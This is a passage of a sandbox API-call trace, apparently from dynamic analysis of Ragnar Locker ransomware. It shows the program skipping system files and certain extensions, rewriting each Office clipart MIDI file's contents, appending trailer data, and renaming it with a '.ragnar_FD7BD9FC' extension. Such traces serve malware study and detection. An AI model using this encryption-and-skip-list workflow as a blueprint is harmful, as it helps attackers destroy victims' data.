[0089.322] CloseHandle (hObject=0xf4) returned 1 [0089.322] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID" [0089.322] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID.ragnar_FD7BD9FC" [0089.322] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_03.mid"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_03.mid.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0089.323] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x17b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="PARNT_04.MID", cAlternateFileName="")) returned 1 [0089.323] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0089.323] lstrcpyW (in: lpString1=0x1eb62e, lpString2="PARNT_04.MID" | out: lpString1="PARNT_04.MID") returned="PARNT_04.MID" [0089.323] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID") returned=".MID" [0089.323] lstrcmpiW (lpString1="PARNT_04.MID", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0089.323] lstrcmpiW (lpString1="PARNT_04.MID", lpString2="autorun.inf") returned 1 [0089.323] lstrcmpiW (lpString1="PARNT_04.MID", lpString2="boot.ini") returned 1 [0089.323] lstrcmpiW (lpString1="PARNT_04.MID", lpString2="bootfont.bin") returned 1 [0089.323] lstrcmpiW (lpString1="PARNT_04.MID", lpString2="bootsect.bak") returned 1 [0089.323] lstrcmpiW (lpString1="PARNT_04.MID", lpString2="bootmgr") returned 1 [0089.323] lstrcmpiW (lpString1="PARNT_04.MID", lpString2="bootmgr.efi") returned 1 [0089.323] lstrcmpiW (lpString1="PARNT_04.MID", lpString2="bootmgfw.efi") returned 1 [0089.323] lstrcmpiW (lpString1="PARNT_04.MID", lpString2="desktop.ini") returned 1 [0089.323] lstrcmpiW (lpString1="PARNT_04.MID", lpString2="iconcache.db") returned 1 [0089.323] lstrcmpiW (lpString1="PARNT_04.MID", lpString2="ntldr") returned 1 [0089.323] lstrcmpiW (lpString1="PARNT_04.MID", lpString2="ntuser.dat") returned 1 [0089.323] lstrcmpiW (lpString1="PARNT_04.MID", lpString2="ntuser.dat.log") returned 1 [0089.323] lstrcmpiW (lpString1="PARNT_04.MID", lpString2="ntuser.ini") returned 1 [0089.323] lstrcmpiW (lpString1="PARNT_04.MID", lpString2="thumbs.db") returned -1 [0089.323] lstrcmpiW (lpString1=".MID", lpString2=".db") returned 1 [0089.323] lstrcmpiW (lpString1=".MID", lpString2=".sys") returned -1 [0089.324] lstrcmpiW (lpString1=".MID", lpString2=".dll") returned 1 [0089.324] lstrcmpiW (lpString1=".MID", lpString2=".lnk") returned 1 [0089.324] lstrcmpiW (lpString1=".MID", lpString2=".msi") returned -1 [0089.324] lstrcmpiW (lpString1=".MID", lpString2=".drv") returned 1 [0089.324] lstrcmpiW (lpString1=".MID", lpString2=".exe") returned 1 [0089.324] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_04.mid")) returned 0x20 [0089.324] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_04.mid"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0089.325] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=6070) returned 1 [0089.325] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x17ad, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.325] GetProcessHeap () returned 0x580000 [0089.325] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0089.325] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0089.326] VirtualAlloc (lpAddress=0x0, dwSize=0x17b6, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0089.327] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.327] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0089.327] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x17b6, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x17b6, lpOverlapped=0x0) returned 1 [0089.327] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0089.328] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x17b6, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.328] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x17b6, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x17b6, lpOverlapped=0x0) returned 1 [0089.328] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x17b6, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.328] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0089.328] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x17b6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.328] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.328] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.328] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.328] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0089.328] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.328] GetProcessHeap () returned 0x580000 [0089.328] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0089.328] CloseHandle (hObject=0xf4) returned 1 [0089.329] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID" [0089.329] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID.ragnar_FD7BD9FC" [0089.329] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_04.mid"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_04.mid.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0089.329] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x59c68c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1784, dwReserved0=0x0, dwReserved1=0x0, cFileName="PARNT_05.MID", cAlternateFileName="")) returned 1 [0089.329] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0089.329] lstrcpyW (in: lpString1=0x1eb62e, lpString2="PARNT_05.MID" | out: lpString1="PARNT_05.MID") returned="PARNT_05.MID" [0089.329] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID") returned=".MID" [0089.329] lstrcmpiW (lpString1="PARNT_05.MID", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0089.329] lstrcmpiW (lpString1="PARNT_05.MID", lpString2="autorun.inf") returned 1 [0089.330] lstrcmpiW (lpString1="PARNT_05.MID", lpString2="boot.ini") returned 1 [0089.330] lstrcmpiW (lpString1="PARNT_05.MID", lpString2="bootfont.bin") returned 1 [0089.330] lstrcmpiW (lpString1="PARNT_05.MID", lpString2="bootsect.bak") returned 1 [0089.330] lstrcmpiW (lpString1="PARNT_05.MID", lpString2="bootmgr") returned 1 [0089.330] lstrcmpiW (lpString1="PARNT_05.MID", lpString2="bootmgr.efi") returned 1 [0089.330] lstrcmpiW (lpString1="PARNT_05.MID", lpString2="bootmgfw.efi") returned 1 [0089.330] lstrcmpiW (lpString1="PARNT_05.MID", lpString2="desktop.ini") returned 1 [0089.330] lstrcmpiW (lpString1="PARNT_05.MID", lpString2="iconcache.db") returned 1 [0089.330] lstrcmpiW (lpString1="PARNT_05.MID", lpString2="ntldr") returned 1 [0089.330] lstrcmpiW (lpString1="PARNT_05.MID", lpString2="ntuser.dat") returned 1 [0089.330] lstrcmpiW (lpString1="PARNT_05.MID", lpString2="ntuser.dat.log") returned 1 [0089.330] lstrcmpiW (lpString1="PARNT_05.MID", lpString2="ntuser.ini") returned 1 [0089.330] lstrcmpiW (lpString1="PARNT_05.MID", lpString2="thumbs.db") returned -1 [0089.330] lstrcmpiW (lpString1=".MID", lpString2=".db") returned 1 [0089.330] lstrcmpiW (lpString1=".MID", lpString2=".sys") returned -1 [0089.330] lstrcmpiW (lpString1=".MID", lpString2=".dll") returned 1 [0089.330] lstrcmpiW (lpString1=".MID", lpString2=".lnk") returned 1 [0089.330] lstrcmpiW (lpString1=".MID", lpString2=".msi") returned -1 [0089.330] lstrcmpiW (lpString1=".MID", lpString2=".drv") returned 1 [0089.330] lstrcmpiW (lpString1=".MID", lpString2=".exe") returned 1 [0089.330] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_05.mid")) returned 0x20 [0089.331] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_05.mid"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0089.331] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=6020) returned 1 [0089.331] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x177b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.331] GetProcessHeap () returned 0x580000 [0089.331] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0089.331] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0089.333] VirtualAlloc (lpAddress=0x0, dwSize=0x1784, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0089.334] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.334] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0089.334] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1784, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1784, lpOverlapped=0x0) returned 1 [0089.334] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0089.335] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1784, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.335] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1784, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1784, lpOverlapped=0x0) returned 1 [0089.335] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1784, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.335] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0089.335] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1784, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.335] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.335] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.335] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.335] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0089.335] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.335] GetProcessHeap () returned 0x580000 [0089.335] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0089.336] CloseHandle (hObject=0xf4) returned 1 [0089.336] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID" [0089.336] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID.ragnar_FD7BD9FC" [0089.336] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_05.mid"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_05.mid.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0089.336] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1e58, dwReserved0=0x0, dwReserved1=0x0, cFileName="PARNT_06.MID", cAlternateFileName="")) returned 1 [0089.336] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0089.336] lstrcpyW (in: lpString1=0x1eb62e, lpString2="PARNT_06.MID" | out: lpString1="PARNT_06.MID") returned="PARNT_06.MID" [0089.336] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID") returned=".MID" [0089.336] lstrcmpiW (lpString1="PARNT_06.MID", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0089.337] lstrcmpiW (lpString1="PARNT_06.MID", lpString2="autorun.inf") returned 1 [0089.337] lstrcmpiW (lpString1="PARNT_06.MID", lpString2="boot.ini") returned 1 [0089.337] lstrcmpiW (lpString1="PARNT_06.MID", lpString2="bootfont.bin") returned 1 [0089.337] lstrcmpiW (lpString1="PARNT_06.MID", lpString2="bootsect.bak") returned 1 [0089.337] lstrcmpiW (lpString1="PARNT_06.MID", lpString2="bootmgr") returned 1 [0089.337] lstrcmpiW (lpString1="PARNT_06.MID", lpString2="bootmgr.efi") returned 1 [0089.337] lstrcmpiW (lpString1="PARNT_06.MID", lpString2="bootmgfw.efi") returned 1 [0089.337] lstrcmpiW (lpString1="PARNT_06.MID", lpString2="desktop.ini") returned 1 [0089.337] lstrcmpiW (lpString1="PARNT_06.MID", lpString2="iconcache.db") returned 1 [0089.337] lstrcmpiW (lpString1="PARNT_06.MID", lpString2="ntldr") returned 1 [0089.337] lstrcmpiW (lpString1="PARNT_06.MID", lpString2="ntuser.dat") returned 1 [0089.337] lstrcmpiW (lpString1="PARNT_06.MID", lpString2="ntuser.dat.log") returned 1 [0089.337] lstrcmpiW (lpString1="PARNT_06.MID", lpString2="ntuser.ini") returned 1 [0089.337] lstrcmpiW (lpString1="PARNT_06.MID", lpString2="thumbs.db") returned -1 [0089.337] lstrcmpiW (lpString1=".MID", lpString2=".db") returned 1 [0089.337] lstrcmpiW (lpString1=".MID", lpString2=".sys") returned -1 [0089.337] lstrcmpiW (lpString1=".MID", lpString2=".dll") returned 1 [0089.337] lstrcmpiW (lpString1=".MID", lpString2=".lnk") returned 1 [0089.337] lstrcmpiW (lpString1=".MID", lpString2=".msi") returned -1 [0089.337] lstrcmpiW (lpString1=".MID", lpString2=".drv") returned 1 [0089.337] lstrcmpiW (lpString1=".MID", lpString2=".exe") returned 1 [0089.337] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_06.mid")) returned 0x20 [0089.337] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_06.mid"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0089.338] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=7768) returned 1 [0089.338] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1e4f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.338] GetProcessHeap () returned 0x580000 [0089.338] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0089.338] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0089.339] VirtualAlloc (lpAddress=0x0, dwSize=0x1e58, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0089.339] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.340] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0089.340] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1e58, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1e58, lpOverlapped=0x0) returned 1 [0089.340] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0089.340] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1e58, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.341] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1e58, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1e58, lpOverlapped=0x0) returned 1 [0089.341] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1e58, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.341] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0089.341] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1e58, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.341] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.341] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.341] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.341] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0089.341] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.341] GetProcessHeap () returned 0x580000 [0089.341] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0089.342] CloseHandle (hObject=0xf4) returned 1 [0089.342] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID" [0089.342] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID.ragnar_FD7BD9FC" [0089.342] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft 